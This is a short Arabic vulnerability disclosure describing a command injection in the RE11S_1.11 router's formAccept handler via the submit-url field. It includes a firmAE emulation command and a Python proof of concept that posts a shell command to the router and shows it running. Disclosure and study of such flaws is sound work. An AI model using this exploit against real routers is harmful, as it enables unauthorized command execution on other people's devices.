RE11S_1.11-formAccept-CommandInjection

خلال فترة تدريبي في مختبر Qi An Xin Tiangong، اكتشفت ثغرة حقن أوامر في راوتر RE11S_1.11.

من خلال تحليل ملف webs في دليل bin، وجدت أن الدالة formAccept تحتوي على ثغرة حقن أوامر.

يمكن تشغيل حقن الأوامر عبر القيمة الرئيسية submit-url، مما يؤدي إلى حقن أوامر على مستوى النظام.

كيف يمكننا محاكاة الراوتر

استخدم الأمر التالي للمحاكاة باستخدام firmAE.

sudo ./run.sh -r v1 ~/IOT/RE11S_1.11/RE11S_1.11.bin

محتوى ملف poc.py هو كما يلي:

import requests

url = "http://192.168.9.2/goform/formAccept"
data = {
	"submit-url":"touch /tmp/xyq"
}

r = requests.post(url,data=data)
print(r.text)

نتيجة الهجوم

يمكن ملاحظة أنه تمت إضافة ملف /tmp/xyq بعد التنفيذ، مما يثبت نجاح الهجوم.